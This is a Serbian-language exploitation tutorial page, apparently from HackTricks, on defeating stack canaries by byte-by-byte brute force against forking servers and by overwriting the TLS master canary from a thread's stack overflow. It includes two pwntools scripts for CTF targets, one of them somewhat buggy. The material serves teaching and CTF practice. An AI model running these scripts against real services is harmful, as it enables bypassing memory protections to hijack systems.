# BF Forked & Threaded Stack Canaries

{{#include ../../../banners/hacktricks-training.md}}

**Ako se suočavate sa binarnim fajlom zaštićenim kanarom i PIE (Position Independent Executable), verovatno treba da pronađete način da ih zaobiđete.**

![](<../../../images/image (865).png>)

> [!NOTE]
> Imajte na umu da **`checksec`** možda neće otkriti da je binarni fajl zaštićen kanarom ako je statički kompajliran i nije u stanju da identifikuje funkciju.\
> Međutim, možete to ručno primetiti ako otkrijete da je vrednost sačuvana na steku na početku poziva funkcije i da se ova vrednost proverava pre izlaska.

## Brute force Canary

Najbolji način da se zaobiđe jednostavna kanara je ako je binarni fajl program **koji fork-uje dečije procese svaki put kada uspostavite novu vezu** s njim (mrežna usluga), jer svaki put kada se povežete s njim **biće korišćen isti kanar**.

Tada je najbolji način da se zaobiđe kanar jednostavno **brute-force-ovati ga karakter po karakter**, i možete da utvrdite da li je pogodjena bajt kanara bila tačna proverom da li je program pao ili nastavlja svoj redovni tok. U ovom primeru funkcija **brute-force-uje 8 Bytes kanar (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proveravajući** da li je **odgovor** poslat nazad od strane servera (drugi način u **drugoj situaciji** mogao bi biti korišćenje **try/except**):

### Primer 1

Ovaj primer je implementiran za 64 bita, ali bi mogao lako da se implementira i za 32 bita.
```python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Primer 2

Ovo je implementirano za 32 bita, ali se to može lako promeniti na 64 bita.\
Takođe, imajte na umu da je za ovaj primer **program očekivao prvo bajt koji označava veličinu ulaza** i payload.
```python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads

Threadovi istog procesa će takođe **deliti isti canary token**, stoga će biti moguće **brute-forc**ati canary ako binarni program pokreće novu nit svaki put kada se dogodi napad.&#x20;

Štaviše, **buffer overflow u funkciji sa nitima** zaštićenoj canary-jem mogao bi se koristiti za **modifikaciju glavnog canary-ja koji se čuva u TLS-u**. To je zato što bi moglo biti moguće doći do memorijske pozicije gde se TLS čuva (i stoga, canary) putem **bof-a u steku** niti.\
Kao rezultat, mitigacija je beskorisna jer se provera koristi sa dva canary-ja koja su ista (iako modifikovana).\
Ovaj napad je izveden u izveštaju: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

Pogledajte takođe prezentaciju [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) koja pominje da se obično **TLS** čuva putem **`mmap`** i kada se kreira **stack** **niti** takođe se generiše putem `mmap`, što može omogućiti overflow kao što je prikazano u prethodnom izveštaju.

## Other examples & references

- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bita, bez PIE, nx, BF canary, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo.